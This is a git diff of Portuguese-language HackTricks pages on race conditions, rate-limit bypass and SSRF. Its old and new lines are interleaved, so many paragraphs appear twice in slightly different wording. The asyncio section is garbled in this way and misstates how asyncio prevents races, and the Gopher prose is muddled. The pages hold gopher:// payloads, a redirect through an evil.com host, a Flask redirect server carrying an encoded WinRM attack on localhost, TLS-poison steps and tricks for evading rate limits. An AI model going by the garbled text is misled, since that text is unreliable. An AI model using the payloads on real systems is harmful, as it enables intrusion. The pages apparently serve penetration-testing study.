A biblioteca `asyncio` do Python fornece suporte para programação assíncrona, permitindo que você escreva código concorrente e escalável de forma mais eficiente. Com `asyncio`, você pode lidar com tarefas assíncronas, como chamadas de rede, de forma eficiente, sem bloquear a execução do programa.
|
||||
A biblioteca `asyncio` do Python é uma biblioteca assíncrona que permite escrever código concorrente usando a sintaxe `async/await`. Ela é especialmente útil para lidar com operações de I/O intensivas, como chamadas de rede, onde o tempo de espera pode ser melhor aproveitado para executar outras tarefas.
|
||||
|
||||
A programação assíncrona é particularmente útil ao lidar com condições de corrida (race conditions), que ocorrem quando dois ou mais processos tentam acessar ou modificar um recurso compartilhado ao mesmo tempo. Essas condições podem levar a resultados inesperados ou erros no programa.
|
||||
A programação assíncrona é baseada em corrotinas, que são funções que podem ser pausadas e retomadas posteriormente. Isso permite que várias tarefas sejam executadas de forma concorrente, sem bloquear a execução do programa.
|
||||
|
||||
Ao usar `asyncio`, você pode evitar condições de corrida implementando mecanismos de sincronização adequados, como semáforos ou bloqueios. Esses mecanismos garantem que apenas um processo possa acessar o recurso compartilhado de cada vez, evitando assim conflitos.
|
||||
A biblioteca `asyncio` fornece várias ferramentas para lidar com tarefas assíncronas, como loops de eventos, tarefas e futuros. O loop de eventos é responsável por executar as corrotinas e gerenciar as operações de I/O. As tarefas são corrotinas que são executadas em paralelo, enquanto os futuros representam o resultado de uma operação assíncrona.
|
||||
|
||||
Aqui está um exemplo de como usar `asyncio` para evitar uma condição de corrida:
|
||||
|
||||
```python
|
||||
import asyncio
|
||||
|
||||
# Recurso compartilhado
|
||||
counter = 0
|
||||
|
||||
# Função assíncrona para incrementar o contador
|
||||
async def increment():
|
||||
global counter
|
||||
for _ in range(1000000):
|
||||
counter += 1
|
||||
|
||||
# Função principal
|
||||
async def main():
|
||||
# Criação de duas tarefas assíncronas
|
||||
task1 = asyncio.create_task(increment())
|
||||
task2 = asyncio.create_task(increment())
|
||||
|
||||
# Espera até que as tarefas sejam concluídas
|
||||
await asyncio.gather(task1, task2)
|
||||
|
||||
# Imprime o valor final do contador
|
||||
print(counter)
|
||||
|
||||
# Executa a função principal
|
||||
asyncio.run(main())
|
||||
```
|
||||
|
||||
Neste exemplo, duas tarefas assíncronas são criadas para incrementar o contador em paralelo. O uso de `asyncio` garante que apenas uma tarefa possa acessar o contador de cada vez, evitando assim uma condição de corrida. O resultado final impresso será o valor esperado, sem erros ou resultados inesperados.
|
||||
Para aproveitar ao máximo a biblioteca `asyncio`, é importante entender os conceitos básicos da programação assíncrona e como usar corretamente as corrotinas, tarefas e futuros. Com a prática e o conhecimento adequado, é possível escrever código eficiente e escalável usando `asyncio`.
|
||||
```python
|
||||
import asyncio
|
||||
import httpx
|
||||
|
@ -245,7 +215,7 @@ Existem muitas variações desse tipo de ataque, incluindo:
|
|||
|
||||
### **Subestados ocultos**
|
||||
|
||||
Outra condição de corrida mais complicada explorará **subestados no estado da máquina** que podem permitir que um invasor **abusar** de estados aos quais ele **nunca deveria ter acesso**, mas há uma **pequena janela** para o invasor acessá-lo.
|
||||
Outra condição de corrida mais complicada explorará **subestados no estado da máquina** que poderiam permitir que um invasor **abusasse** de estados aos quais ele **nunca deveria ter acesso**, mas há uma **pequena janela** para o invasor acessá-lo.
|
||||
|
||||
1. **Prever subestados ocultos e interessantes potenciais**
|
||||
|
||||
|
@ -261,13 +231,13 @@ As aplicações costumam armazenar algum estado na sessão do usuário. Esses s
|
|||
|
||||
* **Estamos editando ou anexando?**
|
||||
|
||||
Operações que editam dados existentes (como alterar o endereço de e-mail principal de uma conta) têm grande potencial de colisão, enquanto ações que simplesmente anexam a dados existentes (como adicionar um endereço de e-mail adicional) provavelmente não são vulneráveis a nada além de ataques de limite de estouro.
|
||||
Operações que editam dados existentes (como alterar o endereço de e-mail principal de uma conta) têm grande potencial de colisão, enquanto ações que simplesmente anexam a dados existentes (como adicionar um endereço de e-mail adicional) provavelmente não serão vulneráveis a nada além de ataques de limite de estouro.
|
||||
|
||||
* **Em que a operação é baseada?**
|
||||
|
||||
A maioria dos pontos finais opera em um registro específico, que é procurado usando uma 'chave', como um nome de usuário, token de redefinição de senha ou nome de arquivo. Para um ataque bem-sucedido, precisamos de duas operações que usem a mesma chave. Por exemplo, imagine duas implementações plausíveis de redefinição de senha:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
2. **Investigar pistas**
|
||||
|
||||
|
@ -275,9 +245,9 @@ Neste ponto, é hora de **lançar alguns ataques de RC** nos pontos finais poten
|
|||
|
||||
3. **Provar o conceito**
|
||||
|
||||
O último passo é **provar o conceito e transformá-lo em um ataque viável**.
|
||||
A etapa final é **provar o conceito e transformá-lo em um ataque viável**.
|
||||
|
||||
Quando você envia um lote de solicitações, pode acontecer de um par de solicitações iniciais acionar um estado final vulnerável, mas solicitações posteriores sobrescrevê-lo/invalidá-lo e o estado final não pode ser explorado. Nesse cenário, você desejará eliminar todas as solicitações desnecessárias - duas devem ser suficientes para explorar a maioria das vulnerabilidades. No entanto, reduzir para duas solicitações tornará o ataque mais sensível ao tempo, então você pode precisar tentar o ataque várias vezes ou automatizá-lo.
|
||||
Quando você envia um lote de solicitações, pode descobrir que um par de solicitações iniciais aciona um estado final vulnerável, mas solicitações posteriores sobrescrevem/invalidam esse estado e o estado final não pode ser explorado. Nesse cenário, você desejará eliminar todas as solicitações desnecessárias - duas devem ser suficientes para explorar a maioria das vulnerabilidades. No entanto, reduzir para duas solicitações tornará o ataque mais sensível ao tempo, portanto, talvez seja necessário tentar o ataque várias vezes ou automatizá-lo.
|
||||
|
||||
### Ataques Sensíveis ao Tempo
|
||||
|
||||
|
@ -285,7 +255,7 @@ Quando você envia um lote de solicitações, pode acontecer de um par de solici
|
|||
|
||||
Um exemplo disso é quando **carimbos de data/hora de alta resolução são usados em vez de strings aleatórias criptograficamente** seguras para gerar tokens de segurança.
|
||||
|
||||
Considere um **token de redefinição de senha que é randomizado apenas usando um carimbo de data/hora**. Nesse caso, pode ser possível **acionar duas redefinições de senha para dois usuários diferentes**, que ambos usam o **mesmo token**. Tudo o que você precisa fazer é cronometrar as solicitações para que elas gerem o mesmo carimbo de data/hora.
|
||||
Considere um **token de redefinição de senha que é apenas randomizado usando um carimbo de data/hora**. Nesse caso, pode ser possível **acionar duas redefinições de senha para dois usuários diferentes**, que ambos usam o **mesmo token**. Tudo o que você precisa fazer é cronometrar as solicitações para que elas gerem o mesmo carimbo de data/hora.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Para confirmar, por exemplo, a situação anterior, você pode simplesmente solicitar **2 tokens de redefinição de senha ao mesmo tempo** (usando um ataque de pacote único) e verificar se eles são **iguais**.
|
||||
|
@ -332,11 +302,11 @@ Como você pode ver, isso é de fato uma **sequência de vários passos dentro d
|
|||
### Persistência eterna do OAuth2
|
||||
|
||||
Existem vários [**provedores de OAuth**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers). Esses serviços permitirão que você crie um aplicativo e autentique usuários registrados pelo provedor. Para fazer isso, o **cliente** precisará **permitir que seu aplicativo** acesse alguns de seus dados dentro do **provedor de OAuth**.\
|
||||
Então, até aqui, apenas um login comum com Google/LinkedIn/GitHub... onde você é solicitado em uma página dizendo: "_O aplicativo \<InserirNomeLegal> deseja acessar suas informações, você deseja permitir?_"
|
||||
Então, até aqui, apenas um login comum com google/linkdin/github... onde você é solicitado com uma página dizendo: "_O aplicativo \<InsertCoolName> deseja acessar suas informações, você deseja permitir?_"
|
||||
|
||||
#### Condição de corrida em `authorization_code`
|
||||
|
||||
O **problema** ocorre quando você **aceita** e automaticamente envia um **`authorization_code`** para o aplicativo malicioso. Em seguida, esse **aplicativo abusa de uma Condição de Corrida no provedor de serviços de OAuth para gerar mais de um AT/RT** (_Authentication Token/Refresh Token_) a partir do **`authorization_code`** para sua conta. Basicamente, ele abusará do fato de você ter aceitado o aplicativo para acessar seus dados e **criará várias contas**. Então, se você **parar de permitir que o aplicativo acesse seus dados, um par de AT/RT será excluído, mas os outros ainda serão válidos**.
|
||||
O **problema** ocorre quando você **aceita** e automaticamente envia um **`authorization_code`** para o aplicativo malicioso. Em seguida, esse **aplicativo abusa de uma Condição de Corrida no provedor de serviços de OAuth para gerar mais de um AT/RT** (_Authentication Token/Refresh Token_) a partir do **`authorization_code`** para sua conta. Basicamente, ele abusará do fato de você ter aceitado o aplicativo para acessar seus dados para **criar várias contas**. Então, se você **parar de permitir que o aplicativo acesse seus dados, um par de AT/RT será excluído, mas os outros ainda serão válidos**.
|
||||
|
||||
#### Condição de corrida em `Refresh Token`
|
||||
|
||||
|
@ -344,7 +314,7 @@ Depois de **obter um RT válido**, você pode tentar **abusar dele para gerar v
|
|||
|
||||
## **CC em WebSockets**
|
||||
|
||||
No [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC), você pode encontrar um PoC em Java para enviar mensagens de websocket em **paralelo** para abusar das **Condições de Corrida também em WebSockets**.
|
||||
No [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC), você pode encontrar um PoC em Java para enviar mensagens de websocket em **paralelo** para abusar das **Condições de Corrida também em Web Sockets**.
|
||||
|
||||
## Referências
|
||||
|
||||
|
@ -366,7 +336,7 @@ No [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para criar e **automatizar fluxos de trabalho** com facilidade, usando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
|
|
@ -1,9 +1,9 @@
|
|||
# Bypassar Limite de Taxa
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -13,18 +13,18 @@ Acesse hoje mesmo:
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
### Usando endpoints similares
|
||||
|
||||
Se você estiver atacando o endpoint `/api/v3/sign-up`, tente realizar um ataque de força bruta em `/Sing-up`, `/SignUp`, `/singup`...
|
||||
Se você está atacando o endpoint `/api/v3/sign-up`, tente realizar um ataque de força bruta para `/Sing-up`, `/SignUp`, `/singup`...
|
||||
|
||||
Também tente adicionar aos endpoints originais bytes em branco como `%00, %0d%0a, %0d, %0a, %09, %0C, %20`
|
||||
Também tente adicionar aos bytes do endpoint original coisas como `%00, %0d%0a, %0d, %0a, %09, %0C, %20`
|
||||
|
||||
### Caracteres em branco no código/parâmetros
|
||||
|
||||
|
@ -49,7 +49,7 @@ Se eles estão limitando a 10 tentativas por IP, a cada 10 tentativas altere o I
|
|||
|
||||
### Altere outros cabeçalhos
|
||||
|
||||
Tente alterar o user-agent, os cookies... qualquer coisa que possa identificar você.
|
||||
Tente alterar o user-agent, os cookies... qualquer coisa que possa identificá-lo.
|
||||
|
||||
### Adicione parâmetros extras ao caminho
|
||||
|
||||
|
@ -57,24 +57,24 @@ Se o limite estiver no caminho `/resetpwd`, tente forçar esse caminho e, uma ve
|
|||
|
||||
### Faça login na sua conta antes de cada tentativa
|
||||
|
||||
Talvez se você **fizer login na sua conta antes de cada tentativa** (ou a cada conjunto de X tentativas), o limite de taxa seja reiniciado. Se você estiver atacando uma funcionalidade de login, você pode fazer isso no Burp usando um ataque Pitchfork **configurando suas credenciais a cada X tentativas** (e marcando para seguir redirecionamentos).
|
||||
Talvez se você **fizer login na sua conta antes de cada tentativa** (ou a cada conjunto de X tentativas), o limite de taxa seja reiniciado. Se você estiver atacando uma funcionalidade de login, você pode fazer isso no Burp usando um ataque Pitchfork **configurando suas credenciais a cada X tentativas** (e marcando seguir redirecionamentos).
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, usando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# SSRF (Server Side Request Forgery)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
@ -20,7 +20,7 @@ Acesse hoje mesmo:
|
|||
|
||||
</details>
|
||||
|
||||
A vulnerabilidade de server-side request forgery (também conhecida como SSRF) é uma vulnerabilidade de segurança web que permite que um atacante **induza a aplicação do lado do servidor a fazer solicitações HTTP para um domínio arbitrário** escolhido pelo atacante. (De [aqui](https://portswigger.net/web-security/ssrf))
|
||||
A vulnerabilidade de falsificação de solicitação do lado do servidor (também conhecida como SSRF) é uma vulnerabilidade de segurança na web que permite que um atacante **induza a aplicação do lado do servidor a fazer solicitações HTTP para um domínio arbitrário** escolhido pelo atacante. (De [aqui](https://portswigger.net/web-security/ssrf))
|
||||
|
||||
## Capturar SSRF
|
||||
|
||||
|
@ -99,13 +99,27 @@ QUIT
|
|||
```
|
||||
**Gopher HTTP**
|
||||
|
||||
O Gopher HTTP é uma técnica de ataque que explora vulnerabilidades de SSRF (Server-Side Request Forgery) para enviar solicitações HTTP a partir do servidor alvo. Essa técnica permite que um invasor acesse recursos internos da rede, como arquivos, serviços e APIs, através do servidor comprometido.
|
||||
O Gopher HTTP é uma técnica de ataque que explora vulnerabilidades de SSRF (Server-Side Request Forgery) para enviar solicitações HTTP a partir do servidor alvo. Essa técnica permite que um invasor acesse recursos internos da rede, como arquivos, serviços e APIs, através de requisições HTTP feitas pelo servidor.
|
||||
|
||||
O SSRF ocorre quando um aplicativo web permite que o usuário especifique uma URL para fazer uma solicitação HTTP. No entanto, o aplicativo não valida adequadamente a URL fornecida e permite que o usuário especifique URLs que apontam para recursos internos da rede. Isso pode ser explorado pelo invasor para enviar solicitações HTTP para esses recursos internos.
|
||||
O nome "Gopher" vem do protocolo Gopher, que foi popular na década de 1990 para compartilhar documentos e recursos na internet. No entanto, o Gopher HTTP não está relacionado ao protocolo Gopher em si, mas sim ao uso de URLs com o esquema "gopher://" para explorar vulnerabilidades SSRF.
|
||||
|
||||
O Gopher HTTP aproveita o protocolo Gopher, que é um protocolo de transferência de documentos mais antigo que o HTTP. O invasor pode criar uma URL Gopher que aponta para um recurso interno da rede e, em seguida, enviar essa URL para o servidor alvo através da vulnerabilidade de SSRF. O servidor, ao processar a solicitação, fará uma solicitação HTTP para a URL Gopher fornecida pelo invasor, permitindo assim o acesso aos recursos internos.
|
||||
Para realizar um ataque de Gopher HTTP, o invasor precisa encontrar uma vulnerabilidade SSRF em um aplicativo web. Essa vulnerabilidade permite que o invasor controle a URL de destino das solicitações HTTP feitas pelo servidor. O invasor então utiliza uma URL com o esquema "gopher://" para direcionar a solicitação para um servidor controlado por ele.
|
||||
|
||||
Para mitigar o risco de ataques de SSRF, é importante implementar uma validação adequada das URLs fornecidas pelos usuários. Isso inclui a verificação do esquema da URL (por exemplo, permitindo apenas URLs HTTP ou HTTPS), a restrição de domínios permitidos e a utilização de listas brancas de IPs. Além disso, é recomendado restringir o acesso a recursos internos da rede e limitar as permissões do servidor comprometido.
|
||||
Ao explorar uma vulnerabilidade SSRF com o Gopher HTTP, o invasor pode realizar várias ações maliciosas, como:
|
||||
|
||||
- Acessar recursos internos da rede, como arquivos e bancos de dados.
|
||||
- Escanear portas e serviços internos.
|
||||
- Atacar outros sistemas e serviços na rede interna.
|
||||
- Extrair informações sensíveis, como credenciais de autenticação.
|
||||
|
||||
Para se proteger contra ataques de Gopher HTTP e outras vulnerabilidades SSRF, é importante implementar práticas de segurança adequadas, como:
|
||||
|
||||
- Validar e filtrar as URLs de destino das solicitações HTTP.
|
||||
- Restringir o acesso a recursos internos da rede.
|
||||
- Utilizar listas brancas de URLs permitidas.
|
||||
- Manter os sistemas e aplicativos atualizados com as últimas correções de segurança.
|
||||
|
||||
No entanto, é importante ressaltar que a melhor maneira de se proteger contra ataques de Gopher HTTP é realizar testes de penetração regulares em seus aplicativos web para identificar e corrigir vulnerabilidades SSRF antes que sejam exploradas por invasores.
|
||||
```bash
|
||||
#For new lines you can use %0A, %0D%0A
|
||||
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
|
||||
|
@ -127,12 +141,12 @@ https://example.com/?q=http://evil.com/redirect.php.
|
|||
De [https://twitter.com/har1sec/status/1182255952055164929](https://twitter.com/har1sec/status/1182255952055164929):\
|
||||
1\. Conecte-se com SSRF em localhost:25 smtp\
|
||||
2\. A partir da primeira linha, obtenha o nome de domínio interno 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail\
|
||||
3\. Pesquise[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)no github, encontre subdomínios\
|
||||
3\. Procure[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)no github, encontre subdomínios\
|
||||
4\. Conecte-se
|
||||
|
||||
### Curl URL globbing - Bypassando WAF
|
||||
|
||||
Se o SSRF for executado pelo **curl**, o curl possui um recurso chamado [**URL globbing**](https://everything.curl.dev/cmdline/globbing) que pode ser útil para contornar WAFs. Por exemplo, neste [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi), você pode encontrar este exemplo para uma **travessia de caminho via protocolo `file`**:
|
||||
Se o SSRF for executado pelo **curl**, o curl possui um recurso chamado [**URL globbing**](https://everything.curl.dev/cmdline/globbing) que pode ser útil para contornar WAFs. Por exemplo, neste [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi), você pode encontrar este exemplo de **travessia de caminho via protocolo `file`**:
|
||||
```
|
||||
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
|
||||
```
|
||||
|
@ -220,7 +234,7 @@ return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%4
|
|||
if __name__ == "__main__":
|
||||
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
@ -254,18 +268,18 @@ Ataque:
|
|||
|
||||
1. Peça ao usuário/bot para **acessar** um **domínio** controlado pelo **atacante**
|
||||
2. O **TTL** do **DNS** é de **0** segundos (para que a vítima verifique o IP do domínio novamente em breve)
|
||||
3. É criada uma **conexão TLS** entre a vítima e o domínio do atacante. O atacante introduz o **payload dentro** do **Session ID ou Session Ticket**.
|
||||
3. É criada uma **conexão TLS** entre a vítima e o domínio do atacante. O atacante introduz o **payload dentro** do **ID da Sessão ou Ticket da Sessão**.
|
||||
4. O **domínio** iniciará um **loop infinito** de redirecionamentos contra **ele mesmo**. O objetivo disso é fazer com que o usuário/bot acesse o domínio até que ele faça **novamente** uma **solicitação DNS** do domínio.
|
||||
5. Na solicitação DNS, é fornecido um endereço IP **privado** **agora** (por exemplo, 127.0.0.1)
|
||||
6. O usuário/bot tentará **restabelecer a conexão TLS** e, para fazer isso, ele enviará o **Session ID/Ticket ID** (onde o **payload** do atacante estava contido). Parabéns, você conseguiu fazer com que o **usuário/bot atacasse a si mesmo**.
|
||||
5. Na solicitação DNS, é fornecido um endereço IP **privado** (por exemplo, 127.0.0.1)
|
||||
6. O usuário/bot tentará **restabelecer a conexão TLS** e, para fazer isso, ele enviará o **ID da Sessão/Ticket da Sessão** (onde o **payload** do atacante estava contido). Parabéns, você conseguiu fazer com que o **usuário/bot atacasse a si mesmo**.
|
||||
|
||||
Observe que, durante esse ataque, se você quiser atacar localhost:11211 (_memcache_), você precisa fazer com que a vítima estabeleça a conexão inicial com www.attacker.com:11211 (a **porta deve ser sempre a mesma**).\
|
||||
Para **realizar esse ataque, você pode usar a ferramenta**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
|
||||
Para **mais informações**, confira a palestra onde esse ataque é explicado: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference)
|
||||
|
||||
## SSRF Cego
|
||||
## SSRF às Cegas
|
||||
|
||||
A diferença entre um SSRF cego e um não cego é que no cego você não pode ver a resposta da solicitação SSRF. Portanto, é mais difícil de explorar, pois você só poderá explorar vulnerabilidades conhecidas.
|
||||
A diferença entre um SSRF às cegas e um que não é às cegas é que no às cegas você não consegue ver a resposta da solicitação SSRF. Portanto, é mais difícil de explorar, pois você só poderá explorar vulnerabilidades conhecidas.
|
||||
|
||||
### SSRF baseado em tempo
|
||||
|
||||
|
@ -314,7 +328,7 @@ _remote-method-guesser_ é um scanner de vulnerabilidades do _Java RMI_ que supo
|
|||
|
||||
### [SSRF Proxy](https://github.com/bcoles/ssrf\_proxy)
|
||||
|
||||
SSRF Proxy é um servidor proxy HTTP multithreaded projetado para direcionar o tráfego HTTP do cliente por meio de servidores HTTP vulneráveis a Server-Side Request Forgery (SSRF).
|
||||
SSRF Proxy é um servidor proxy HTTP multithread projetado para direcionar o tráfego HTTP do cliente por meio de servidores HTTP vulneráveis a Server-Side Request Forgery (SSRF).
|
||||
|
||||
### Para praticar
|
||||
|
||||
|
@ -331,14 +345,14 @@ SSRF Proxy é um servidor proxy HTTP multithreaded projetado para direcionar o t
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenha o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
